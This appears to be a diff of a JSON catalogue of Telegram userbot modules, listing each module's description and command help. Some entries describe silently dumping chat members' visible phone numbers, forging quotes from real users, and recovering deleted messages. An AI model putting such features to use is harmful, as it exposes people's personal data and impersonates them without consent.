"Chat" - ] - }, - "vsecoder/hikka_modules/monkeytype.py": { - "name": "MonkeyTypeMod", - "description": "Module for getting information about monkeytype.com stats\n\n{15/30/60/120:times} - dividing tests by time (default: 15)\nNeed only account username (not full link)!", - "meta": { - "pic": "https://img.icons8.com/stickers/100/keyboard.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/stickers/100/keyboard.png&title=MonkeyType&description=Module%20for%20getting%20information%20about%20monkeytype.com%20stats", - "developer": "@vsecoder_m", - "desc": "Module for getting information about monkeytype.com stats" - }, - "commands": [ - { - "monkeytypestatscmd": "{username} {15/30/60/120:times} - get monkeytype.com user stats" - } - ], - "new_commands": [ - { - "monkeytypestats": { - "ru_doc": null, - "en_doc": null, - "doc": "{username} {15/30/60/120:times} - get monkeytype.com user stats" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "vsecoder/hikka_modules/quotes.py": { - "name": "QuotesMod", - "description": "Quotes by @vsecoder [beta]\n\nNow doesn't work stickers, gifs, video.\n(Fake stories later)\n\nThk t.me/Fl1yd, based on his SQuotes module\nThk t.me/hikariatama, recognize from VTT module", - "meta": { - "pic": "https://img.icons8.com/sf-black-filled/64/quote.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/sf-black-filled/64/quote.png&title=Quotes&description=Quote%20a%20message%20using%20vsecoder%20API", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "qcmd": "<reply> [quantity] [!story] [!rec] [color] - Create nice quote from message(-s)" - }, - { - "fqcmd": "<@ or id> <text> -r <@ or id> <text> ... - Create fake quote" - }, - { - "sqsetcmd": "<bg_color/max_messages> <value> - Configure Quotes (text color automatically adjust to the background)" - } - ], - "new_commands": [ - { - "q": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply> [quantity] [!story] [!rec] [color] - Create nice quote from message(-s)" - } - }, - { - "fq": { - "ru_doc": null, - "en_doc": null, - "doc": "<@ or id> <text> -r <@ or id> <text> ... - Create fake quote" - } - }, - { - "sqset": { - "ru_doc": null, - "en_doc": null, - "doc": "<bg_color/max_messages> <value> - Configure Quotes (text color automatically adjust to the background)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/accounttime.py": { - "name": "AcTimeMod", - "description": "Module for get account time", - "meta": { - "pic": "https://img.icons8.com/fluency/344/timer.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/fluency/344/timer.png&title=Account%20Time&description=Get%20the%20account%20registration%20date%20and%20time!", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "actimecmd": " - get the account registration date and time [beta]\nP.S. You can also send a command in response to a message" - } - ], - "new_commands": [ - { - "actime": { - "ru_doc": null, - "en_doc": null, - "doc": " - get the account registration date and time [beta]\nP.S. You can also send a command in response to a message" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/octocode.py": { - "name": "OctoCodeMod", - "description": "Module for octopussed code\n\nhttps://github.com/charmbracelet/freeze based\n\nTo use, run this in .terminal:\n\nwget https://github.com/charmbracelet/freeze/releases/download/v0.1.6/freeze_0.1.6_amd64.deb\nsudo dpkg -i freeze_0.1.6_amd64.deb", - "meta": { - "pic": "https://img.icons8.com/cotton/344/code.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/cotton/344/code.png&title=OctoCode&description=OctoCode%20is%20a%20module%20for%20octopussed%20code%20in%20Telegram", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "octocmd": " \"reply file\" or \"send file\"\nOctopussed your code" - } - ], - "new_commands": [ - { - "octo": { - "ru_doc": null, - "en_doc": null, - "doc": " \"reply file\" or \"send file\"\nOctopussed your code" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/lmfify.py": { - "name": "LMFIFYMod", - "description": "Let me find it for you in Google / Yandex", - "meta": { - "pic": "https://img.icons8.com/bubbles/344/google-logo.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/bubbles/344/google-logo.png&title=LMFIFY&description=Let%20me%20find%20it%20for%20you%20in%20Google%20/%20Yandex", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "finditcmd": "{text} - find it in search engine" - } - ], - "new_commands": [ - { - "findit": { - "ru_doc": null, - "en_doc": null, - "doc": "{text} - find it in search engine" - } - } - ], - "category": [ - "Tools", - "Games" - ] - }, - "vsecoder/hikka_modules/ymnow.py": { - "name": "YmNowBetaMod", - "description": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime. [BETA]\n\nNow on Ynison API.", - "meta": { - "pic": "https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.freepik.com/premium-vector/yandex-music-logo_578229-242.jpg&title=YMNow&description=Module%20for%20yandex%20music", - "developer": "@vsecoder_m", - "desc": "Module for yandex music. Based on SpotifyNow, YaNow and WakaTime [beta]" - }, - "commands": [ - { - "ynowcmd": "Get now playing track" - }, - { - "ybio": "Show now playing track in your bio" - }, - { - "automsgcmd": "Toggle YandexMusic widgets' updates" - } - ], - "new_commands": [ - { - "ynow": { - "ru_doc": null, - "en_doc": null, - "doc": "Get now playing track" - } - }, - { - "ybio": { - "ru_doc": null, - "en_doc": null, - "doc": "Show now playing track in your bio" - } - }, - { - "automsg": { - "ru_doc": null, - "en_doc": null, - "doc": "Toggle YandexMusic widgets' updates" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/mazemod.py": { - "name": "MazeModMod", - "description": "Module for play maze", - "meta": { - "pic": "https://img.icons8.com/external-icongeek26-linear-colour-icongeek26/344/external-maze-game-development-icongeek26-linear-colour-icongeek26.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-icongeek26-linear-colour-icongeek26/344/external-maze-game-development-icongeek26-linear-colour-icongeek26.png&title=MazeMod&description=Telegram%20Maze%20Game", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "mazecmd": " - generate maze and start play\nBased on... my code)" - } - ], - "new_commands": [ - { - "maze": { - "ru_doc": null, - "en_doc": null, - "doc": " - generate maze and start play\nBased on... my code)" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "vsecoder/hikka_modules/searx.py": { - "name": "SearXMod", - "description": "Module for multi search", - "meta": { - "pic": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSCO9v08B8wLGwL4UMxZzlf7tNOvsRvWQjMypjq5uyvxhAa03NbOO40DY1m-Rr4aYeK7WE&usqp=CAU", - "banner": "https://chojuu.vercel.app/api/banner?img=https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSCO9v08B8wLGwL4UMxZzlf7tNOvsRvWQjMypjq5uyvxhAa03NbOO40DY1m-Rr4aYeK7WE&usqp=CAU&title=SearX&description=Telegram%20SearX%20Engine", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "searxcmd": " {text} - search text in the internet\n\nBased on SearX and t.me/fleef code" - } - ], - "new_commands": [ - { - "searx": { - "ru_doc": null, - "en_doc": null, - "doc": " {text} - search text in the internet\n\nBased on SearX and t.me/fleef code" - } - } - ], - "category": [ - "Tools", - "Fun" - ] - }, - "vsecoder/hikka_modules/hh.py": { - "name": "HHMod", - "description": "@hikkahost userbot manager module", - "meta": { - "pic": "https://avatars.githubusercontent.com/u/128410002", - "banner": "https://chojuu.vercel.app/api/banner?img=https://avatars.githubusercontent.com/u/128410002&title=HH&description=Hikkahost%20userbot%20manager%20module", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "hinfocmd": "- статус юзербота - ub status" - }, - { - "hlogscmd": "- логи юзербота - ub logs" - }, - { - "hrestartcmd": "- перезагрузить юзербота - ub restart" - } - ], - "new_commands": [ - { - "hinfo": { - "ru_doc": null, - "en_doc": " - ub status", - "doc": "- статус юзербота" - } - }, - { - "hlogs": { - "ru_doc": null, - "en_doc": " - ub logs", - "doc": "- логи юзербота" - } - }, - { - "hrestart": { - "ru_doc": null, - "en_doc": " - ub restart", - "doc": "- перезагрузить юзербота" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/RussianRoulette.py": { - "name": "RussianRouletteMod", - "description": "Module for \"Russian roulette\" game", - "meta": { - "pic": "https://img.icons8.com/external-flaticons-lineal-color-flat-icons/344/external-roulette-casino-flaticons-lineal-color-flat-icons-3.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/external-flaticons-lineal-color-flat-icons/344/external-roulette-casino-flaticons-lineal-color-flat-icons-3.png&title=Russian%20roulette&description=Telegram%20Russian%20roulette%20game", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "revolvercmd": "- to start \"Russian roulette\"" - } - ], - "new_commands": [ - { - "revolver": { - "ru_doc": null, - "en_doc": null, - "doc": "- to start \"Russian roulette\"" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "vsecoder/hikka_modules/MangaSlider.py": { - "name": "MangaSliderMod", - "description": null, - "meta": { - "pic": "https://img.icons8.com/color/256/kakashi-hatake.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/256/kakashi-hatake.png&title=MangaSlider&description=Read%20manga%20in%20Telegram%20%F0%9F%91%8D", - "developer": "@vsecoder_m" - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "vsecoder/hikka_modules/CheckMods.py": { - "name": "CheckModulesMod", - "description": "Module for check modules", - "meta": { - "pic": "https://img.icons8.com/color/344/antivirus-scanner--v1.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/color/344/antivirus-scanner--v1.png&title=Check%20module&description=Module%20for%20check%20modules", - "developer": "@vsecoder_m" - }, - "commands": [ - { - "checkmodcmd": "<module_link> or \"reply file\" or \"send file\" - perform module check" - } - ], - "new_commands": [ - { - "checkmod": { - "ru_doc": null, - "en_doc": null, - "doc": "<module_link> or \"reply file\" or \"send file\" - perform module check" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "vsecoder/hikka_modules/feedbackbot.py": { - "name": "FeedbackBotMod", - "description": "FeedbackBot", - "meta": { - "pic": "https://img.icons8.com/fluency/344/feedback.png", - "banner": "https://chojuu.vercel.app/api/banner?img=https://img.icons8.com/fluency/344/feedback.png&title=Feedback&description=Feedback%20bot%20for%20Hikka%20modules", - "developer": "@vsecoder_m" - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "GeekTG/FTG-Modules/chat.py": { - "name": "ChatMod", - "description": "Чат модуль", + "AmoreForever/amoremods/amethyste.py": { + "name": "Amethyste", + "description": "Generate memes image", "meta": { "pic": null, - "banner": null + "banner": "https://github.com/AmoreForever/assets/blob/master/Amethyste.jpg?raw=true", + "developer": "@hikamorumods" }, "commands": [ { - "useridcmd": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + "amegencmd": "Generate memes image" }, { - "chatidcmd": "Команда .chatid показывает ID чата." - }, - { - "invitecmd": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." - }, - { - "leavecmd": "Используйте команду .leave, чтобы кикнуть себя из чата." - }, - { - "userscmd": "Команда .users <имя>; ничего выводит список всех пользователей в чате." - }, - { - "adminscmd": "Команда .admins показывает список всех админов в чате." - }, - { - "botscmd": "Команда .bots показывает список всех ботов в чате." - }, - { - "commoncmd": "Используй .common <@ или реплай>, чтобы узнать общие чаты с\nпользователем." - }, - { - "chatdumpcmd": ".chatdump <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" - }, - { - "adduserscmd": "Add members" - }, - { - "reportcmd": "Репорт пользователя за спам." + "amelistcmd": "List of memes" } ], "new_commands": [ { - "userid": { + "amegen": { "ru_doc": null, "en_doc": null, - "doc": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + "doc": "Generate memes image" } }, { - "chatid": { + "amelist": { "ru_doc": null, "en_doc": null, - "doc": "Команда .chatid показывает ID чата." - } - }, - { - "invite": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." - } - }, - { - "leave": { - "ru_doc": null, - "en_doc": null, - "doc": "Используйте команду .leave, чтобы кикнуть себя из чата." - } - }, - { - "users": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .users <имя>; ничего выводит список всех пользователей в чате." - } - }, - { - "admins": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .admins показывает список всех админов в чате." - } - }, - { - "bots": { - "ru_doc": null, - "en_doc": null, - "doc": "Команда .bots показывает список всех ботов в чате." - } - }, - { - "common": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй .common <@ или реплай>, чтобы узнать общие чаты с\nпользователем." - } - }, - { - "chatdump": { - "ru_doc": null, - "en_doc": null, - "doc": ".chatdump <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" - } - }, - { - "addusers": { - "ru_doc": null, - "en_doc": null, - "doc": "Add members" - } - }, - { - "report": { - "ru_doc": null, - "en_doc": null, - "doc": "Репорт пользователя за спам." + "doc": "List of memes" } } ], @@ -22458,1240 +39607,52 @@ "Chat" ] }, - "GeekTG/FTG-Modules/calculator.py": { - "name": "CalculatorMod", - "description": "Calculator module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "calccmd": ".calc 2 * 2" - } - ], - "new_commands": [ - { - "calc": { - "ru_doc": null, - "en_doc": null, - "doc": ".calc 2 * 2" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "GeekTG/FTG-Modules/information.py": { - "name": "WhoIsMod", - "description": "Get info about user/chat", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "userinfocmd": "<@ or reply or id> - info about user" - }, - { - "chatinfocmd": "<@ or id> - info about chat" - } - ], - "new_commands": [ - { - "userinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "<@ or reply or id> - info about user" - } - }, - { - "chatinfo": { - "ru_doc": null, - "en_doc": null, - "doc": "<@ or id> - info about chat" - } - } - ], - "category": [ - "Tools", - "Admin" - ] - }, - "GeekTG/FTG-Modules/screenshot.py": { - "name": "WebShotMod", - "description": "Screenshot module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "webshotcmd": "Reply to link" - }, - { - "fileshotcmd": "Reply to file" - } - ], - "new_commands": [ - { - "webshot": { - "ru_doc": null, - "en_doc": null, - "doc": "Reply to link" - } - }, - { - "fileshot": { - "ru_doc": null, - "en_doc": null, - "doc": "Reply to file" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/video_editor.py": { - "name": "VideoEditorMod", - "description": "Module for working with video", + "AmoreForever/amoremods/jutsu.py": { + "name": "Jutsu", + "description": "Download and get info about anime from jut.su", "meta": { "pic": null, "banner": null, - "developer": "@D4n13l3k00" + "developer": "@hikamorumods" }, "commands": [ { - "xflipvcmd": ".xflipv <reply_to_video> - Flip video by X" - }, - { - "yflipvcmd": ".yflipv <reply_to_video> - Flip video by Y" - }, - { - "bwvcmd": ".bwv <reply_to_video> - BlackWhite" - }, - { - "revvcmd": ".revv <reply_to_video> - Reverse video" - }, - { - "paintvcmd": ".paintv <reply_to_video> - Paint effect" - }, - { - "invertvcmd": ".invertv <reply_to_video> - Invert colors" - }, - { - "rmsvcmd": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" - }, - { - "cutvcmd": ".cutv <int [Default 30]> <reply_to_video> - Cut video" - }, - { - "audvcmd": ".audv <link> <reply_to_video> - Add audio to video" - }, - { - "fpsvcmd": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" - }, - { - "marginvcmd": ".marginv <int [Default 5]> <reply_to_video> - Add marging" - }, - { - "speedvcmd": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" - }, - { - "contrastvcmd": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" - }, - { - "lumvcmd": ".lumv <float [Default 25]> <reply_to_video> - Lum" - }, - { - "scalevcmd": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" + "jutsud": "Download anime from jutsu - [url]" } ], "new_commands": [ { - "xflipv": { + "jutsud": { "ru_doc": null, "en_doc": null, - "doc": ".xflipv <reply_to_video> - Flip video by X" - } - }, - { - "yflipv": { - "ru_doc": null, - "en_doc": null, - "doc": ".yflipv <reply_to_video> - Flip video by Y" - } - }, - { - "bwv": { - "ru_doc": null, - "en_doc": null, - "doc": ".bwv <reply_to_video> - BlackWhite" - } - }, - { - "revv": { - "ru_doc": null, - "en_doc": null, - "doc": ".revv <reply_to_video> - Reverse video" - } - }, - { - "paintv": { - "ru_doc": null, - "en_doc": null, - "doc": ".paintv <reply_to_video> - Paint effect" - } - }, - { - "invertv": { - "ru_doc": null, - "en_doc": null, - "doc": ".invertv <reply_to_video> - Invert colors" - } - }, - { - "rmsv": { - "ru_doc": null, - "en_doc": null, - "doc": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" - } - }, - { - "cutv": { - "ru_doc": null, - "en_doc": null, - "doc": ".cutv <int [Default 30]> <reply_to_video> - Cut video" - } - }, - { - "audv": { - "ru_doc": null, - "en_doc": null, - "doc": ".audv <link> <reply_to_video> - Add audio to video" - } - }, - { - "fpsv": { - "ru_doc": null, - "en_doc": null, - "doc": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" - } - }, - { - "marginv": { - "ru_doc": null, - "en_doc": null, - "doc": ".marginv <int [Default 5]> <reply_to_video> - Add marging" - } - }, - { - "speedv": { - "ru_doc": null, - "en_doc": null, - "doc": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" - } - }, - { - "contrastv": { - "ru_doc": null, - "en_doc": null, - "doc": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" - } - }, - { - "lumv": { - "ru_doc": null, - "en_doc": null, - "doc": ".lumv <float [Default 25]> <reply_to_video> - Lum" - } - }, - { - "scalev": { - "ru_doc": null, - "en_doc": null, - "doc": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/ytdl.py": { - "name": "YtDlMod", - "description": "Youtube-Dl Module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ripvcmd": ".ripv <link / reply_to_link> - download video" - }, - { - "ripacmd": ".ripa <link / reply_to_link> - download audio" - } - ], - "new_commands": [ - { - "ripv": { - "ru_doc": null, - "en_doc": null, - "doc": ".ripv <link / reply_to_link> - download video" - } - }, - { - "ripa": { - "ru_doc": null, - "en_doc": null, - "doc": ".ripa <link / reply_to_link> - download audio" + "doc": "Download anime from jutsu - [url]" } } ], "category": [ "Media", - "Chat" - ] - }, - "GeekTG/FTG-Modules/recent_actions.py": { - "name": "RecentActionsMod", - "description": "Reads recent actions", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "recoverdeletedcmd": "Restores deleted messages sent after replied message (optionally specify how many to recover)" - } - ], - "new_commands": [ - { - "recoverdeleted": { - "ru_doc": null, - "en_doc": null, - "doc": "Restores deleted messages sent after replied message (optionally specify how many to recover)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/tts.py": { - "name": "DttsMod", - "description": "Text to speech module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "levitancmd": "Convert text to speech with levitan voice" - }, - { - "oksanacmd": "Convert text to speech with oksana voice" - }, - { - "yandexcmd": "Convert text to speech with yandex voice" - }, - { - "ttscmd": "Convert text to speech with Google APIs" - } - ], - "new_commands": [ - { - "levitan": { - "ru_doc": null, - "en_doc": null, - "doc": "Convert text to speech with levitan voice" - } - }, - { - "oksana": { - "ru_doc": null, - "en_doc": null, - "doc": "Convert text to speech with oksana voice" - } - }, - { - "yandex": { - "ru_doc": null, - "en_doc": null, - "doc": "Convert text to speech with yandex voice" - } - }, - { - "tts": { - "ru_doc": null, - "en_doc": null, - "doc": "Convert text to speech with Google APIs" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/file_uploader.py": { - "name": "FileUploaderMod", - "description": "Uploader", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "x0cmd": "Upload to x0" - }, - { - "telegraphcmd": ".ph <reply photo or video>" - }, - { - "imgurcmd": "Upload to imgur" - } - ], - "new_commands": [ - { - "x0": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload to x0" - } - }, - { - "telegraph": { - "ru_doc": null, - "en_doc": null, - "doc": ".ph <reply photo or video>" - } - }, - { - "imgur": { - "ru_doc": null, - "en_doc": null, - "doc": "Upload to imgur" - } - } - ], - "category": [ - "Chat", "Tools" ] }, - "GeekTG/FTG-Modules/squotes.py": { - "name": "ShitQuotesMod", - "description": "Quotes by @sh1tchannel", + "AmoreForever/amoremods/amoreinfo.py": { + "name": "AmoreindoMod", + "description": "Show userbot info", "meta": { "pic": null, - "banner": null + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/AmoreInfo.jpg", + "developer": "@hikamorumods" }, "commands": [ { - "qcmd": "Сокращение команды .sq" - }, - { - "sqcmd": "Использование:\n\n• .sq <кол-во сообщений> + <реплай> + <!file - скидывает файлом (по желанию)> + <цвет (по желанию)>\n>>> .sq\n>>> .sq 2 #2d2d2d\n>>> .sq red\n>>> .sq !file" - }, - { - "fsqcmd": "Использование:\n\n• .fsq <@ или ID> + <текст> - квота от юзера с @ или ID + указанный текст\n>>> .fsq @onetimeusername Вам пизда\n\n• .fsq <реплай> + <текст> - квота от юзера с реплая + указанный текст\n>>> .fsq Я лох\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст> - квота с фейковым реплаем\n>>> .fsq @Fl1yd спасибо -r @onetimeusername Ты крутой\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст>; <аргументы> - квота с фейковыми мульти сообщениями\n>>> .fsq @onetimeusername Пацаны из @sh1tchannel, ждите награду за ахуенный ботнет; @guslslakkaakdkab чево; @Fl1yd НАШ БОТНЕТ ЛУЧШИЙ -r @guslslakkaakdkab чево" - }, - { - "sqsetcmd": "Использование:\n\n• .sqset <bg_color/text_color/debug> (<цвет для bg_color/text_color> <True/False для debug>)\n>>> .sqset bg_color #2d2d2d\n>>> .sqset debug true" + "ainfocmd": "Send userbot info" } ], "new_commands": [ { - "q": { + "ainfo": { "ru_doc": null, "en_doc": null, - "doc": "Сокращение команды .sq" - } - }, - { - "sq": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование:\n\n• .sq <кол-во сообщений> + <реплай> + <!file - скидывает файлом (по желанию)> + <цвет (по желанию)>\n>>> .sq\n>>> .sq 2 #2d2d2d\n>>> .sq red\n>>> .sq !file" - } - }, - { - "fsq": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование:\n\n• .fsq <@ или ID> + <текст> - квота от юзера с @ или ID + указанный текст\n>>> .fsq @onetimeusername Вам пизда\n\n• .fsq <реплай> + <текст> - квота от юзера с реплая + указанный текст\n>>> .fsq Я лох\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст> - квота с фейковым реплаем\n>>> .fsq @Fl1yd спасибо -r @onetimeusername Ты крутой\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст>; <аргументы> - квота с фейковыми мульти сообщениями\n>>> .fsq @onetimeusername Пацаны из @sh1tchannel, ждите награду за ахуенный ботнет; @guslslakkaakdkab чево; @Fl1yd НАШ БОТНЕТ ЛУЧШИЙ -r @guslslakkaakdkab чево" - } - }, - { - "sqset": { - "ru_doc": null, - "en_doc": null, - "doc": "Использование:\n\n• .sqset <bg_color/text_color/debug> (<цвет для bg_color/text_color> <True/False для debug>)\n>>> .sqset bg_color #2d2d2d\n>>> .sqset debug true" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/lmgtfy.py": { - "name": "LMGTFYMod", - "description": "Let me Google that for you, coz you too lazy to do that yourself.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "lmgtfycmd": "Use in reply to another message or as .lmgtfy <text>" - } - ], - "new_commands": [ - { - "lmgtfy": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to another message or as .lmgtfy <text>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/pmlog.py": { - "name": "PMLogMod", - "description": "Logs unwanted PMs to a channel", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "logpmcmd": "Begins logging PMs" - }, - { - "unlogpmcmd": "Stops logging PMs" - } - ], - "new_commands": [ - { - "logpm": { - "ru_doc": null, - "en_doc": null, - "doc": "Begins logging PMs" - } - }, - { - "unlogpm": { - "ru_doc": null, - "en_doc": null, - "doc": "Stops logging PMs" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/demot.py": { - "name": "DemotivatorMod", - "description": "Deotivators", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "demoticmd": "Demotiving photo without compression" - }, - { - "demotcmd": "Demotiving photo" - }, - { - "bottomcmd": "Imposes text in the photo from below" - }, - { - "topcmd": "Imposes text on the photo at the top" - }, - { - "centercmd": "Imposes text on the photo at the center" - }, - { - "demotirandcmd": "Random demotiving photo without compression" - }, - { - "demotrandcmd": "Random demotiving photo" - }, - { - "nqcmd": "Quotes from the message" - }, - { - "mqcmd": "Quotes from the message 2" - } - ], - "new_commands": [ - { - "demoti": { - "ru_doc": null, - "en_doc": null, - "doc": "Demotiving photo without compression" - } - }, - { - "demot": { - "ru_doc": null, - "en_doc": null, - "doc": "Demotiving photo" - } - }, - { - "bottom": { - "ru_doc": null, - "en_doc": null, - "doc": "Imposes text in the photo from below" - } - }, - { - "top": { - "ru_doc": null, - "en_doc": null, - "doc": "Imposes text on the photo at the top" - } - }, - { - "center": { - "ru_doc": null, - "en_doc": null, - "doc": "Imposes text on the photo at the center" - } - }, - { - "demotirand": { - "ru_doc": null, - "en_doc": null, - "doc": "Random demotiving photo without compression" - } - }, - { - "demotrand": { - "ru_doc": null, - "en_doc": null, - "doc": "Random demotiving photo" - } - }, - { - "nq": { - "ru_doc": null, - "en_doc": null, - "doc": "Quotes from the message" - } - }, - { - "mq": { - "ru_doc": null, - "en_doc": null, - "doc": "Quotes from the message 2" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/chatvoicemod.py": { - "name": "ChatVoiceMod", - "description": "Module for working with voicechat", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "cdlcmd": "<reply_to_media> <name: optional> - Download media to server in `dl` folder" - }, - { - "clscmd": "List all files in `dl` folder" - }, - { - "cdelcmd": "<name> - Delete file from `dl` folder" - }, - { - "cplayvcmd": "<link/path/reply_to_video> - Play video in voice chat" - }, - { - "cplayacmd": "<link/path/reply_to_audio> - Play audio in voice chat" - }, - { - "cleavecmd": "Leave" - }, - { - "cmutecmd": "Mute" - }, - { - "cunmutecmd": "Unmute" - }, - { - "cpausecmd": "Pause" - }, - { - "cresumecmd": "Resume" - } - ], - "new_commands": [ - { - "cdl": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply_to_media> <name: optional> - Download media to server in `dl` folder" - } - }, - { - "cls": { - "ru_doc": null, - "en_doc": null, - "doc": "List all files in `dl` folder" - } - }, - { - "cdel": { - "ru_doc": null, - "en_doc": null, - "doc": "<name> - Delete file from `dl` folder" - } - }, - { - "cplayv": { - "ru_doc": null, - "en_doc": null, - "doc": "<link/path/reply_to_video> - Play video in voice chat" - } - }, - { - "cplaya": { - "ru_doc": null, - "en_doc": null, - "doc": "<link/path/reply_to_audio> - Play audio in voice chat" - } - }, - { - "cleave": { - "ru_doc": null, - "en_doc": null, - "doc": "Leave" - } - }, - { - "cmute": { - "ru_doc": null, - "en_doc": null, - "doc": "Mute" - } - }, - { - "cunmute": { - "ru_doc": null, - "en_doc": null, - "doc": "Unmute" - } - }, - { - "cpause": { - "ru_doc": null, - "en_doc": null, - "doc": "Pause" - } - }, - { - "cresume": { - "ru_doc": null, - "en_doc": null, - "doc": "Resume" - } - } - ], - "category": [ - "Chat", - "Media" - ] - }, - "GeekTG/FTG-Modules/image_tools.py": { - "name": "ImageToolsMod", - "description": "Image tools module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "llcmd": "Mirror the image" - }, - { - "rrcmd": "Mirror the image" - }, - { - "uucmd": "Mirror the image" - }, - { - "ddcmd": "Mirror the image" - }, - { - "dotifycmd": "Image to RGB dots" - }, - { - "dotificmd": "Image to BW dots" - }, - { - "soapcmd": ".soap <reply to photo>" - }, - { - "pic2packcmd": "Create sticker pack with your photo" - }, - { - "deepcmd": "Deep the image" - } - ], - "new_commands": [ - { - "ll": { - "ru_doc": null, - "en_doc": null, - "doc": "Mirror the image" - } - }, - { - "rr": { - "ru_doc": null, - "en_doc": null, - "doc": "Mirror the image" - } - }, - { - "uu": { - "ru_doc": null, - "en_doc": null, - "doc": "Mirror the image" - } - }, - { - "dd": { - "ru_doc": null, - "en_doc": null, - "doc": "Mirror the image" - } - }, - { - "dotify": { - "ru_doc": null, - "en_doc": null, - "doc": "Image to RGB dots" - } - }, - { - "dotifi": { - "ru_doc": null, - "en_doc": null, - "doc": "Image to BW dots" - } - }, - { - "soap": { - "ru_doc": null, - "en_doc": null, - "doc": ".soap <reply to photo>" - } - }, - { - "pic2pack": { - "ru_doc": null, - "en_doc": null, - "doc": "Create sticker pack with your photo" - } - }, 